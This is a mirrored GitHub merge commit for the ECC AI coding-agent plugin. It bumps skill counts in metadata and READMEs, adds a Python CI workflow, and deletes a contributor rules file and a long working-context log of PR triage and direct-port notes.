mirror of
https://github.com/affaan-m/ECC.git
synced 2026-10-15 12:45:29 +02:00
Merge remote-tracking branch 'origin/main' into fix-pr-2943-shortcut-reference
# Conflicts: # .claude-plugin/marketplace.json # .claude-plugin/plugin.json # AGENTS.md # README.md # README.zh-CN.md # docs/tr/AGENTS.md # docs/zh-CN/AGENTS.md # docs/zh-CN/README.md
This commit is contained in:
@@ -11,7 +11,7 @@
|
||||
{
|
||||
"name": "ecc",
|
||||
"source": "./",
|
||||
"description": "Harness-native ECC operator layer - 68 agents, 287 skills, 94 legacy command shims, reusable hooks, rules, selective install profiles, and production-ready workflows for Claude Code, Codex, OpenCode, Cursor, and related agent harnesses",
|
||||
"description": "Harness-native ECC operator layer - 68 agents, 293 skills, 94 legacy command shims, reusable hooks, rules, selective install profiles, and production-ready workflows for Claude Code, Codex, OpenCode, Cursor, and related agent harnesses",
|
||||
"version": "2.2.1",
|
||||
"author": {
|
||||
"name": "Affaan Mustafa",
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "ecc",
|
||||
"version": "2.2.1",
|
||||
"description": "Harness-native ECC plugin for engineering teams - 68 agents, 287 skills, 94 legacy command shims, reusable hooks, rules, MCP conventions, and operator workflows for Claude Code plus adjacent agent harnesses",
|
||||
"description": "Harness-native ECC plugin for engineering teams - 68 agents, 293 skills, 94 legacy command shims, reusable hooks, rules, MCP conventions, and operator workflows for Claude Code plus adjacent agent harnesses",
|
||||
"author": {
|
||||
"name": "Affaan Mustafa",
|
||||
"url": "https://x.com/affaanmustafa"
|
||||
|
||||
@@ -124,7 +124,7 @@ phase('Survey');
|
||||
const surveyThunks = [
|
||||
() =>
|
||||
agent(
|
||||
`${GUARDRAILS}\n\nSURVEY AgentShield's CURRENT detection capability. Read ~/GitHub/ECC/agentshield: src/rules (built-in detectors), src/* area dirs (taint, injection, supply-chain, runtime, threat-intel, sandbox, policy, remediation, evidence-pack, harness-adapters), README.md, CHANGELOG.md, WORKING-CONTEXT.md. Produce an honest capability map: what classes of agentic-security risk it detects TODAY, where the gaps are, and which capabilities could plausibly be a paid/Pro tier (e.g. continuous monitoring, fleet dashboards, hosted scanning, evidence packs, org policy). area="agentshield-capability".`,
|
||||
`${GUARDRAILS}\n\nSURVEY AgentShield's CURRENT detection capability. Read ~/GitHub/ECC/agentshield: src/rules (built-in detectors), src/* area dirs (taint, injection, supply-chain, runtime, threat-intel, sandbox, policy, remediation, evidence-pack, harness-adapters), README.md, CHANGELOG.md. Produce an honest capability map: what classes of agentic-security risk it detects TODAY, where the gaps are, and which capabilities could plausibly be a paid/Pro tier (e.g. continuous monitoring, fleet dashboards, hosted scanning, evidence packs, org policy). area="agentshield-capability".`,
|
||||
{ label: 'survey:agentshield-capability', phase: 'Survey', agentType: 'general-purpose', schema: CAPABILITY_SCHEMA }
|
||||
),
|
||||
() =>
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
name: Standalone taste workflows
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'skills/taste-application/**'
|
||||
- 'skills/taste-distillation/**'
|
||||
- 'tests/test_taste_*.py'
|
||||
- '.github/workflows/taste-skills.yml'
|
||||
push:
|
||||
branches: [main]
|
||||
paths:
|
||||
- 'skills/taste-application/**'
|
||||
- 'skills/taste-distillation/**'
|
||||
- 'tests/test_taste_*.py'
|
||||
- '.github/workflows/taste-skills.yml'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
offline:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
- name: Install local media dependencies
|
||||
run: python -m pip install -r skills/taste-application/scripts/requirements.txt
|
||||
- name: Build and install the reusable ECC engine
|
||||
run: |
|
||||
python -m pip wheel --no-deps skills/taste-application/scripts --wheel-dir /tmp/ecc-wheels
|
||||
python -m pip install /tmp/ecc-wheels/ecc_tasteforge-*.whl
|
||||
- name: Test canonical engine and original creative scripts
|
||||
run: |
|
||||
python -m unittest discover -s skills/taste-application/tests
|
||||
python -m unittest discover -s tests -p 'test_taste_*.py'
|
||||
cd /tmp
|
||||
python -I -c "from pathlib import Path; import sys, tasteforge; from tasteforge.pack import load; root = Path(tasteforge.__file__).resolve(); assert root.is_relative_to(Path(sys.prefix).resolve()); fixture = root.parent / 'fixtures/flashethereal'; assert load(fixture).inspect()['validation']['status'] == 'valid'"
|
||||
python -m tasteforge --help
|
||||
@@ -1,6 +1,6 @@
|
||||
# Everything Claude Code (ECC) — Agent Instructions
|
||||
|
||||
This is a **production-ready AI coding plugin** providing 68 specialized agents, 287 skills, 94 commands, and automated hook workflows for software development.
|
||||
This is a **production-ready AI coding plugin** providing 68 specialized agents, 293 skills, 94 commands, and automated hook workflows for software development.
|
||||
|
||||
**Version:** 2.2.1
|
||||
|
||||
@@ -154,7 +154,7 @@ Troubleshoot failures: check test isolation → verify mocks → fix implementat
|
||||
|
||||
```
|
||||
agents/ — 68 specialized subagents
|
||||
skills/ — 287 workflow skills and domain knowledge
|
||||
skills/ — 293 workflow skills and domain knowledge
|
||||
commands/ — 94 slash commands
|
||||
hooks/ — Trigger-based automations
|
||||
rules/ — Always-follow guidelines (common + per-language)
|
||||
|
||||
@@ -2,6 +2,10 @@
|
||||
|
||||
## Unreleased
|
||||
|
||||
### Fixed
|
||||
|
||||
- Claude settings updates now tolerate a missing Windows device ID while retaining full-precision inode checks and strict matching when both device IDs are available.
|
||||
|
||||
## 2.2.0 - 2026-08-25
|
||||
|
||||
### Added
|
||||
|
||||
+1
-1
@@ -196,7 +196,7 @@ Copy-Item -Recurse rules/typescript "$HOME/.claude/rules/"
|
||||
/plugin list ecc@ecc
|
||||
```
|
||||
|
||||
**完成!** 你现在可以使用 68 个代理、287 个技能和 94 个命令。
|
||||
**完成!** 你现在可以使用 68 个代理、293 个技能和 94 个命令。
|
||||
|
||||
### multi-* 命令需要额外配置
|
||||
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
# Rules
|
||||
|
||||
## Must Always
|
||||
- Delegate to specialized agents for domain tasks.
|
||||
- Write tests before implementation and verify critical paths.
|
||||
- Validate inputs and keep security checks intact.
|
||||
- Prefer immutable updates over mutating shared state.
|
||||
- Follow established repository patterns before inventing new ones.
|
||||
- Keep contributions focused, reviewable, and well-described.
|
||||
|
||||
## Must Never
|
||||
- Include sensitive data such as API keys, tokens, secrets, or absolute/system file paths in output.
|
||||
- Submit untested changes.
|
||||
- Bypass security checks or validation hooks.
|
||||
- Duplicate existing functionality without a clear reason.
|
||||
- Ship code without checking the relevant test suite.
|
||||
|
||||
## Agent Format
|
||||
- Agents live in `agents/*.md`.
|
||||
- Each file includes YAML frontmatter with `name`, `description`, `tools`, and `model`.
|
||||
- File names are lowercase with hyphens and must match the agent name.
|
||||
- Descriptions must clearly communicate when the agent should be invoked.
|
||||
|
||||
## Skill Format
|
||||
- Skills live in `skills/<name>/SKILL.md`.
|
||||
- Each skill includes YAML frontmatter with `name`, `description`, and `origin`.
|
||||
- Use `origin: ECC` for first-party skills and `origin: community` for imported/community skills.
|
||||
- Skill bodies should include practical guidance, tested examples, and clear "When to Use" sections.
|
||||
|
||||
## Hook Format
|
||||
- Hooks use matcher-driven JSON registration and shell or Node entrypoints.
|
||||
- Matchers should be specific instead of broad catch-alls.
|
||||
- Exit `1` only when blocking behavior is intentional; otherwise exit `0`.
|
||||
- Error and info messages should be actionable.
|
||||
|
||||
## Commit Style
|
||||
- Use conventional commits such as `feat(skills):`, `fix(hooks):`, or `docs:`.
|
||||
- Keep changes modular and explain user-facing impact in the PR summary.
|
||||
@@ -1,7 +1,7 @@
|
||||
# Soul
|
||||
|
||||
## Core Identity
|
||||
Everything Claude Code (ECC) is a production-ready AI coding plugin with 30 specialized agents, 135 skills, 60 commands, and automated hook workflows for software development.
|
||||
Everything Claude Code (ECC) is a production-ready AI coding plugin: specialized agents, on-demand skills, slash commands, rules, and automated hook workflows for software development.
|
||||
|
||||
## Core Principles
|
||||
1. **Agent-First** — route work to the right specialist as early as possible.
|
||||
|
||||
@@ -1,179 +0,0 @@
|
||||
# Working Context
|
||||
|
||||
Last updated: 2026-04-08
|
||||
|
||||
## Purpose
|
||||
|
||||
Public ECC plugin repo for agents, skills, commands, hooks, rules, install surfaces, and ECC 2.0 platform buildout.
|
||||
|
||||
## Current Truth
|
||||
|
||||
- Default branch: `main`
|
||||
- Public release surface is aligned at `v1.10.0`
|
||||
- Public catalog truth is `47` agents, `79` commands, and `181` skills
|
||||
- Public plugin slug is now `ecc`; legacy `everything-claude-code` install paths remain supported for compatibility
|
||||
- Release discussion: `#1272`
|
||||
- ECC 2.0 exists in-tree and builds, but it is still alpha rather than GA
|
||||
- Main active operational work:
|
||||
- keep default branch green
|
||||
- continue issue-driven fixes from `main` now that the public PR backlog is at zero
|
||||
- continue ECC 2.0 control-plane and operator-surface buildout
|
||||
|
||||
## Current Constraints
|
||||
|
||||
- No merge by title or commit summary alone.
|
||||
- No arbitrary external runtime installs in shipped ECC surfaces.
|
||||
- Overlapping skills, hooks, or agents should be consolidated when overlap is material and runtime separation is not required.
|
||||
|
||||
## Active Queues
|
||||
|
||||
- PR backlog: reduced but active; keep direct-porting only safe ECC-native changes and close overlap, stale generators, and unaudited external-runtime lanes
|
||||
- Upstream branch backlog still needs selective mining and cleanup:
|
||||
- `origin/feat/hermes-generated-ops-skills` still has three unique commits, but only reusable ECC-native skills should be salvaged from it
|
||||
- multiple `origin/ecc-tools/*` automation branches are stale and should be pruned after confirming they carry no unique value
|
||||
- Product:
|
||||
- selective install cleanup
|
||||
- control plane primitives
|
||||
- operator surface
|
||||
- self-improving skills
|
||||
- keep `agent.yaml` export parity with the shipped `commands/` and `skills/` directories so modern install surfaces do not silently lose command registration
|
||||
- Skill quality:
|
||||
- rewrite content-facing skills to use source-backed voice modeling
|
||||
- remove generic LLM rhetoric, canned CTA patterns, and forced platform stereotypes
|
||||
- continue one-by-one audit of overlapping or low-signal skill content
|
||||
- move repo guidance and contribution flow to skills-first, leaving commands only as explicit compatibility shims
|
||||
- add operator skills that wrap connected surfaces instead of exposing only raw APIs or disconnected primitives
|
||||
- land the canonical voice system, network-optimization lane, and reusable Manim explainer lane
|
||||
- Security:
|
||||
- keep dependency posture clean
|
||||
- preserve self-contained hook and MCP behavior
|
||||
|
||||
## Open PR Classification
|
||||
|
||||
- Closed on 2026-04-01 under backlog hygiene / merge policy:
|
||||
- `#1069` `feat: add everything-claude-code ECC bundle`
|
||||
- `#1068` `feat: add everything-claude-code-conventions ECC bundle`
|
||||
- `#1080` `feat: add everything-claude-code ECC bundle`
|
||||
- `#1079` `feat: add everything-claude-code-conventions ECC bundle`
|
||||
- `#1064` `chore(deps-dev): bump @eslint/js from 9.39.2 to 10.0.1`
|
||||
- `#1063` `chore(deps-dev): bump eslint from 9.39.2 to 10.1.0`
|
||||
- Closed on 2026-04-01 because the content is sourced from external ecosystems and should only land via manual ECC-native re-port:
|
||||
- `#852` openclaw-user-profiler
|
||||
- `#851` openclaw-soul-forge
|
||||
- `#640` harper skills
|
||||
- Native-support candidates to fully diff-audit next:
|
||||
- `#1055` Dart / Flutter support
|
||||
- `#1043` C# reviewer and .NET skills
|
||||
- Direct-port candidates landed after audit:
|
||||
- `#1078` hook-id dedupe for managed Claude hook reinstalls
|
||||
- `#844` ui-demo skill
|
||||
- `#1110` install-time Claude hook root resolution
|
||||
- `#1106` portable Codex Context7 key extraction
|
||||
- `#1107` Codex baseline merge and sample agent-role sync
|
||||
- `#1119` stale CI/lint cleanup that still contained safe low-risk fixes
|
||||
- Port or rebuild inside ECC after full audit:
|
||||
- `#894` Jira integration
|
||||
- `#814` + `#808` rebuild as a single consolidated notifications lane for Opencode and cross-harness surfaces
|
||||
|
||||
## Interfaces
|
||||
|
||||
- Public truth: GitHub issues and PRs
|
||||
- Internal execution truth: linked Linear work items under the ECC program
|
||||
- Current linked Linear items:
|
||||
- `ECC-206` ecosystem CI baseline
|
||||
- `ECC-207` PR backlog audit and merge-policy enforcement
|
||||
- `ECC-208` context hygiene
|
||||
- `ECC-210` skills-first workflow migration and command compatibility retirement
|
||||
|
||||
## Update Rule
|
||||
|
||||
Keep this file detailed for only the current sprint, blockers, and next actions. Summarize completed work into archive or repo docs once it is no longer actively shaping execution.
|
||||
|
||||
## Latest Execution Notes
|
||||
|
||||
- 2026-04-05: Continued `#1213` overlap cleanup by narrowing `coding-standards` into the baseline cross-project conventions layer instead of deleting it. The skill now explicitly points detailed React/UI guidance to `frontend-patterns`, backend/API structure to `backend-patterns` / `api-design`, and keeps only reusable naming, readability, immutability, and code-quality expectations.
|
||||
- 2026-04-05: Added a packaging regression guard for the OpenCode release path after `#1287` showed the published `v1.10.0` artifact was still stale. `tests/scripts/build-opencode.test.js` now asserts the `npm pack --dry-run` tarball includes `.opencode/dist/index.js` plus compiled plugin/tool entrypoints, so future releases cannot silently omit the built OpenCode payload.
|
||||
- 2026-04-05: Landed `skills/agent-introspection-debugging` for `#829` as an ECC-native self-debugging framework. It is intentionally guidance-first rather than fake runtime automation: capture failure state, classify the pattern, apply the smallest contained recovery action, then emit a structured introspection report and hand off to `verification-loop` / `continuous-learning-v2` when appropriate.
|
||||
- 2026-04-05: Fixed the `main` npm CI break after the latest direct ports. `package-lock.json` had drifted behind `package.json` on the `globals` devDependency (`^17.1.0` vs `^17.4.0`), which caused all npm-based GitHub Actions jobs to fail at `npm ci`. Refreshed the lockfile only, verified `npm ci --ignore-scripts`, and kept the mixed-lock workspace otherwise untouched.
|
||||
- 2026-04-05: Direct-ported the useful discoverability part of `#1221` without duplicating a second healthcare compliance system. Added `skills/hipaa-compliance/SKILL.md` as a thin HIPAA-specific entrypoint that points into the canonical `healthcare-phi-compliance` / `healthcare-reviewer` lane, and wired both healthcare privacy skills into the `security` install module for selective installs.
|
||||
- 2026-04-05: Direct-ported the audited blockchain/web3 security lane from `#1222` into `main` as four self-contained skills: `defi-amm-security`, `evm-token-decimals`, `llm-trading-agent-security`, and `nodejs-keccak256`. These are now part of the `security` install module instead of living as an unmerged fork PR.
|
||||
- 2026-04-05: Finished the useful salvage pass from `#1203` directly on `main`. `skills/security-bounty-hunter`, `skills/api-connector-builder`, and `skills/dashboard-builder` are now in-tree as ECC-native rewrites instead of the thinner original community drafts. The original PR should be treated as superseded rather than merged.
|
||||
- 2026-04-02: `ECC-Tools/main` shipped `9566637` (`fix: prefer commit lookup over git ref resolution`). The PR-analysis fire is now fixed in the app repo by preferring explicit commit resolution before `git.getRef`, with regression coverage for pull refs and plain branch refs. Mirrored public tracking issue `#1184` in this repo was closed as resolved upstream.
|
||||
- 2026-04-02: Direct-ported the clean native-support core of `#1043` into `main`: `agents/csharp-reviewer.md`, `skills/dotnet-patterns/SKILL.md`, and `skills/csharp-testing/SKILL.md`. This fills the gap between existing C# rule/docs mentions and actual shipped C# review/testing guidance.
|
||||
- 2026-04-02: Direct-ported the clean native-support core of `#1055` into `main`: `agents/dart-build-resolver.md`, `commands/flutter-build.md`, `commands/flutter-review.md`, `commands/flutter-test.md`, `rules/dart/*`, and `skills/dart-flutter-patterns/SKILL.md`. The skill paths were wired into the current `framework-language` module instead of replaying the older PR's separate `flutter-dart` module layout.
|
||||
- 2026-04-02: Closed `#1081` after diff audit. The PR only added vendor-marketing docs for an external X/Twitter backend (`Xquik` / `x-twitter-scraper`) to the canonical `x-api` skill instead of contributing an ECC-native capability.
|
||||
- 2026-04-02: Direct-ported the useful Jira lane from `#894`, but sanitized it to match current supply-chain policy. `commands/jira.md`, `skills/jira-integration/SKILL.md`, and the pinned `jira` MCP template in `mcp-configs/mcp-servers.json` are in-tree, while the skill no longer tells users to install `uv` via `curl | bash`. `jira-integration` is classified under `operator-workflows` for selective installs.
|
||||
- 2026-04-02: Closed `#1125` after full diff audit. The bundle/skill-router lane hardcoded many non-existent or non-canonical surfaces and created a second routing abstraction instead of a small ECC-native index layer.
|
||||
- 2026-04-02: Closed `#1124` after full diff audit. The added agent roster was thoughtfully written, but it duplicated the existing ECC agent surface with a second competing catalog (`dispatch`, `explore`, `verifier`, `executor`, etc.) instead of strengthening canonical agents already in-tree.
|
||||
- 2026-04-02: Closed the full Argus cluster `#1098`, `#1099`, `#1100`, `#1101`, and `#1102` after full diff audit. The common failure mode was the same across all five PRs: external multi-CLI dispatch was treated as a first-class runtime dependency of shipped ECC surfaces. Any useful protocol ideas should be re-ported later into ECC-native orchestration, review, or reflection lanes without external CLI fan-out assumptions.
|
||||
- 2026-04-02: The previously open native-support / integration queue (`#1081`, `#1055`, `#1043`, `#894`) has now been fully resolved by direct-port or closure policy. The active public PR queue is currently zero; next focus stays on issue-driven mainline fixes and CI health, not backlog PR intake.
|
||||
- 2026-04-01: `main` CI was restored locally with `1723/1723` tests passing after lockfile and hook validation fixes.
|
||||
- 2026-04-01: Auto-generated ECC bundle PRs `#1068` and `#1069` were closed instead of merged; useful ideas must be ported manually after explicit diff audit.
|
||||
- 2026-04-01: Major-version ESLint bump PRs `#1063` and `#1064` were closed; revisit only inside a planned ESLint 10 migration lane.
|
||||
- 2026-04-01: Notification PRs `#808` and `#814` were identified as overlapping and should be rebuilt as one unified feature instead of landing as parallel branches.
|
||||
- 2026-04-01: External-source skill PRs `#640`, `#851`, and `#852` were closed under the new ingestion policy; copy ideas from audited source later rather than merging branded/source-import PRs directly.
|
||||
- 2026-04-01: The remaining low GitHub advisory on `ecc2/Cargo.lock` was addressed by moving `ratatui` to `0.30` with `crossterm_0_28`, which updated transitive `lru` from `0.12.5` to `0.16.3`. `cargo build --manifest-path ecc2/Cargo.toml` still passes.
|
||||
- 2026-04-01: Safe core of `#834` was ported directly into `main` instead of merging the PR wholesale. This included stricter install-plan validation, antigravity target filtering that skips unsupported module trees, tracked catalog sync for English plus zh-CN docs, and a dedicated `catalog:sync` write mode.
|
||||
- 2026-04-01: Repo catalog truth is now synced at `36` agents, `68` commands, and `142` skills across the tracked English and zh-CN docs.
|
||||
- 2026-04-01: Legacy emoji and non-essential symbol usage in docs, scripts, and tests was normalized to keep the unicode-safety lane green without weakening the check itself.
|
||||
- 2026-04-01: The remaining self-contained piece of `#834`, `docs/zh-CN/skills/browser-qa/SKILL.md`, was ported directly into the repo. After commit, `#834` should be closed as superseded-by-direct-port.
|
||||
- 2026-04-01: Content skill cleanup started with `content-engine`, `crosspost`, `article-writing`, and `investor-outreach`. The new direction is source-first voice capture, explicit anti-trope bans, and no forced platform persona shifts.
|
||||
- 2026-04-01: `node scripts/ci/check-unicode-safety.js --write` sanitized the remaining emoji-bearing Markdown files, including several `remotion-video-creation` rule docs and an old local plan note.
|
||||
- 2026-04-01: Core English repo surfaces were shifted to a skills-first posture. README, AGENTS, plugin metadata, and contributor instructions now treat `skills/` as canonical and `commands/` as legacy slash-entry compatibility during migration.
|
||||
- 2026-04-01: Follow-up bundle cleanup closed `#1080` and `#1079`, which were generated `.claude/` bundle PRs duplicating command-first scaffolding instead of shipping canonical ECC source changes.
|
||||
- 2026-04-01: Ported the useful core of `#1078` directly into `main`, but tightened the implementation so legacy no-id hook installs deduplicate cleanly on the first reinstall instead of the second. Added stable hook ids to `hooks/hooks.json`, semantic fallback aliases in `mergeHookEntries()`, and a regression test covering upgrade from pre-id settings.
|
||||
- 2026-04-01: Collapsed the obvious command/skill duplicates into thin legacy shims so `skills/` now hold the maintained bodies for NanoClaw, context-budget, DevFleet, docs lookup, E2E, evals, orchestration, prompt optimization, rules distillation, TDD, and verification.
|
||||
- 2026-04-01: Ported the self-contained core of `#844` directly into `main` as `skills/ui-demo/SKILL.md` and registered it under the `media-generation` install module instead of merging the PR wholesale.
|
||||
- 2026-04-01: Added the first connected-workflow operator lane as ECC-native skills instead of leaving the surface as raw plugins or APIs: `workspace-surface-audit`, `customer-billing-ops`, `project-flow-ops`, and `google-workspace-ops`. These are tracked under the new `operator-workflows` install module.
|
||||
- 2026-04-01: Direct-ported the real fix from the unresolved hook-path PR lane into the active installer. Claude installs now replace `${CLAUDE_PLUGIN_ROOT}` with the concrete install root in both `settings.json` and the copied `hooks/hooks.json`, which keeps PreToolUse/PostToolUse hooks working outside plugin-managed env injection.
|
||||
- 2026-04-01: Replaced the GNU-only `grep -P` parser in `scripts/sync-ecc-to-codex.sh` with a portable Node parser for Context7 key extraction. Added source-level regression coverage so BSD/macOS syncs do not drift back to non-portable parsing.
|
||||
- 2026-04-01: Targeted regression suite after the direct ports is green: `tests/scripts/install-apply.test.js`, `tests/scripts/sync-ecc-to-codex.test.js`, and `tests/scripts/codex-hooks.test.js`.
|
||||
- 2026-04-01: Ported the useful core of `#1107` directly into `main` as an add-only Codex baseline merge. `scripts/sync-ecc-to-codex.sh` now fills missing non-MCP defaults from `.codex/config.toml`, syncs sample agent role files into `~/.codex/agents`, and preserves user config instead of replacing it. Added regression coverage for sparse configs and implicit parent tables.
|
||||
- 2026-04-01: Ported the safe low-risk cleanup from `#1119` directly into `main` instead of keeping an obsolete CI PR open. This included `.mjs` eslint handling, stricter null checks, Windows home-dir coverage in bash-log tests, and longer Trae shell-test timeouts.
|
||||
- 2026-04-01: Added `brand-voice` as the canonical source-derived writing-style system and wired the content lane to treat it as the shared voice source of truth instead of duplicating partial style heuristics across skills.
|
||||
- 2026-04-01: Added `connections-optimizer` as the review-first social-graph reorganization workflow for X and LinkedIn, with explicit pruning modes, browser fallback expectations, and Apple Mail drafting guidance.
|
||||
- 2026-04-01: Added `manim-video` as the reusable technical explainer lane and seeded it with a starter network-graph scene so launch and systems animations do not depend on one-off scratch scripts.
|
||||
- 2026-04-02: Re-extracted `social-graph-ranker` as a standalone primitive because the weighted bridge-decay model is reusable outside the full lead workflow. `lead-intelligence` now points to it for canonical graph ranking instead of carrying the full algorithm explanation inline, while `connections-optimizer` stays the broader operator layer for pruning, adds, and outbound review packs.
|
||||
- 2026-04-02: Applied the same consolidation rule to the writing lane. `brand-voice` remains the canonical voice system, while `content-engine`, `crosspost`, `article-writing`, and `investor-outreach` now keep only workflow-specific guidance instead of duplicating a second Affaan/ECC voice model or repeating the full ban list in multiple places.
|
||||
- 2026-04-02: Closed fresh auto-generated bundle PRs `#1182` and `#1183` under the existing policy. Useful ideas from generator output must be ported manually into canonical repo surfaces instead of merging `.claude`/bundle PRs wholesale.
|
||||
- 2026-04-02: Ported the safe one-file macOS observer fix from `#1164` directly into `main` as a POSIX `mkdir` fallback for `continuous-learning-v2` lazy-start locking, then closed the PR as superseded by direct port.
|
||||
- 2026-04-02: Ported the safe core of `#1153` directly into `main`: markdownlint cleanup for orchestration/docs surfaces plus the Windows `USERPROFILE` and path-normalization fixes in `install-apply` / `repair` tests. Local validation after installing repo deps: `node tests/scripts/install-apply.test.js`, `node tests/scripts/repair.test.js`, and targeted `yarn markdownlint` all passed.
|
||||
- 2026-04-02: Direct-ported the safe web/frontend rules lane from `#1122` into `rules/web/`, but adapted `rules/web/hooks.md` to prefer project-local tooling and avoid remote one-off package execution examples.
|
||||
- 2026-04-02: Adapted the design-quality reminder from `#1127` into the current ECC hook architecture with a local `scripts/hooks/design-quality-check.js`, Claude `hooks/hooks.json` wiring, Cursor `after-file-edit.js` wiring, and dedicated hook coverage in `tests/hooks/design-quality-check.test.js`.
|
||||
- 2026-04-02: Fixed `#1141` on `main` in `16e9b17`. The observer lifecycle is now session-aware instead of purely detached: `SessionStart` writes a project-scoped lease, `SessionEnd` removes that lease and stops the observer when the final lease disappears, `observe.sh` records project activity, and `observer-loop.sh` now exits on idle when no leases remain. Targeted validation passed with `bash -n`, `node tests/hooks/observer-memory.test.js`, `node tests/integration/hooks.test.js`, `node scripts/ci/validate-hooks.js hooks/hooks.json`, and `node scripts/ci/check-unicode-safety.js`.
|
||||
- 2026-04-02: Fixed the remaining Windows-only hook regression behind `#1070` by making `scripts/lib/utils.js#getHomeDir()` honor explicit `HOME` / `USERPROFILE` overrides before falling back to `os.homedir()`. This restores test-isolated observer state paths for hook integration runs on Windows. Added regression coverage in `tests/lib/utils.test.js`. Targeted validation passed with `node tests/lib/utils.test.js`, `node tests/integration/hooks.test.js`, `node tests/hooks/observer-memory.test.js`, and `node scripts/ci/check-unicode-safety.js`.
|
||||
- 2026-04-02: Direct-ported NestJS support for `#1022` into `main` as `skills/nestjs-patterns/SKILL.md` and wired it into the `framework-language` install module. Synced the repo catalog afterward (`38` agents, `72` commands, `156` skills) and updated the docs so NestJS is no longer listed as an unfilled framework gap.
|
||||
- 2026-04-05: Shipped `846ffb7` (`chore: ship v1.10.0 release surface refresh`). This updated README/plugin metadata/package versions, synced the explicit plugin agent inventory, bumped stale star/fork/contributor counts, created `docs/releases/1.10.0/*`, tagged and released `v1.10.0`, and posted the announcement discussion at `#1272`.
|
||||
- 2026-04-05: Salvaged the reusable Hermes-branch operator skills in `6eba30f` without replaying the full branch. Added `skills/github-ops`, `skills/knowledge-ops`, and `skills/hookify-rules`, wired them into install modules, and re-synced the repo to `159` skills. `knowledge-ops` was explicitly adapted to the current workspace model: live code in cloned repos, active truth in GitHub/Linear, broader non-code context in the KB/archive layers.
|
||||
- 2026-04-05: Fixed the remaining OpenCode npm-publish gap in `db6d52e`. The root package now builds `.opencode/dist` during `prepack`, includes the compiled OpenCode plugin assets in the published tarball, and carries a dedicated regression test (`tests/scripts/build-opencode.test.js`) so the package no longer ships only raw TypeScript source for that surface.
|
||||
- 2026-04-05: Added `skills/council`, direct-ported the safe `code-tour` lane from `#1193`, and re-synced the repo to `162` skills. `code-tour` stays self-contained and only produces `.tours/*.tour` artifacts with real file/line anchors; no external runtime or extension install is assumed inside the skill.
|
||||
- 2026-04-05: Closed the latest auto-generated ECC bundle PR wave (`#1275`-`#1281`) after deploying `ECC-Tools/main` fix `f615905`, which now blocks repo-level issue-comment `/analyze` requests from opening repeated bundle PRs while still allowing PR-thread retry analysis to run against immutable head SHAs.
|
||||
- 2026-04-05: Filled the SEO gap by direct-porting `agents/seo-specialist.md` and `skills/seo/SKILL.md` into `main`, then wiring `skills/seo` into `business-content`. This resolves the stale `team-builder` reference to an SEO specialist and brings the public catalog to `39` agents and `163` skills without merging the stale PR wholesale.
|
||||
- 2026-04-05: Salvaged the useful common-rule deltas from `#1214` directly into `rules/common/coding-style.md` and `rules/common/testing.md` (KISS/DRY/YAGNI reminders, naming conventions, code-smell guidance, and AAA-style test guidance), then closed the original mixed deletion PR. The broad skill removals in that PR were intentionally not replayed.
|
||||
- 2026-04-05: Fixed the stale-row bug in `.github/workflows/monthly-metrics.yml` with `bf5961e`. The workflow now refreshes the current month row in issue `#1087` instead of early-returning when the month already exists, and the dispatched run updated the April snapshot to the current star/fork/release counts.
|
||||
- 2026-04-05: Recovered the useful cost-control workflow from the divergent Hermes branch as a small ECC-native operator skill instead of replaying the branch. `skills/ecc-tools-cost-audit/SKILL.md` is now wired into `operator-workflows` and focused on webhook -> queue -> worker tracing, burn containment, quota bypass, premium-model leakage, and retry fanout in the sibling `ECC-Tools` repo.
|
||||
- 2026-04-05: Added `skills/council/SKILL.md` in `753da37` as an ECC-native four-voice decision workflow. The useful protocol from PR `#1254` was retained, but the shadow `~/.claude/notes` write path was explicitly removed in favor of `knowledge-ops`, `/save-session`, or direct GitHub/Linear updates when a decision delta matters.
|
||||
- 2026-04-05: Direct-ported the safe `globals` bump from PR `#1243` into `main` as part of the council lane and closed the PR as superseded.
|
||||
- 2026-04-05: Closed PR `#1232` after full audit. The proposed `skill-scout` workflow overlaps current `search-first`, `/skill-create`, and `skill-stocktake`; if a dedicated marketplace-discovery layer returns later it should be rebuilt on top of the current install/catalog model rather than landing as a parallel discovery path.
|
||||
- 2026-04-05: Ported the safe localized README switcher fixes from PR `#1209` directly into `main` rather than merging the docs PR wholesale. The navigation now consistently includes `Português (Brasil)` and `Türkçe` across the localized README switchers, while newer localized body copy stays intact.
|
||||
- 2026-04-05: Removed the stale InsAIts shipped surface from `main`. ECC no longer ships the external Python MCP entry, opt-in hook wiring, wrapper/monitor scripts, or current docs mentions for `insa-its`; changelog history remains, but the live product surface is now fully ECC-native again.
|
||||
- 2026-04-05: Salvaged the reusable Hermes-generated operator workflow lane without replaying the whole branch. Added six ECC-native top-level skills instead of the old nested `skills/hermes-generated/*` tree: `automation-audit-ops`, `email-ops`, `finance-billing-ops`, `messages-ops`, `research-ops`, and `terminal-ops`. `research-ops` now wraps the existing research stack, while the other five extend `operator-workflows` without introducing any external runtime assumptions.
|
||||
- 2026-04-05: Added `skills/product-capability` plus `docs/examples/product-capability-template.md` as the canonical PRD-to-SRS lane for issue `#1185`. This is the ECC-native capability-contract step between vague product intent and implementation, and it lives in `business-content` rather than spawning a parallel planning subsystem.
|
||||
- 2026-04-05: Tightened `product-lens` so it no longer overlaps the new capability-contract lane. `product-lens` now explicitly owns product diagnosis / brief validation, while `product-capability` owns implementation-ready capability plans and SRS-style constraints.
|
||||
- 2026-04-05: Continued `#1213` cleanup by removing stale references to the deleted `project-guidelines-example` skill from exported inventory/docs and marking `continuous-learning` v1 as a supported legacy path with an explicit handoff to `continuous-learning-v2`.
|
||||
- 2026-04-05: Removed the last orphaned localized `project-guidelines-example` docs from `docs/ko-KR` and `docs/zh-CN`. The template now lives only in `docs/examples/project-guidelines-template.md`, which matches the current repo surface and avoids shipping translated docs for a deleted skill.
|
||||
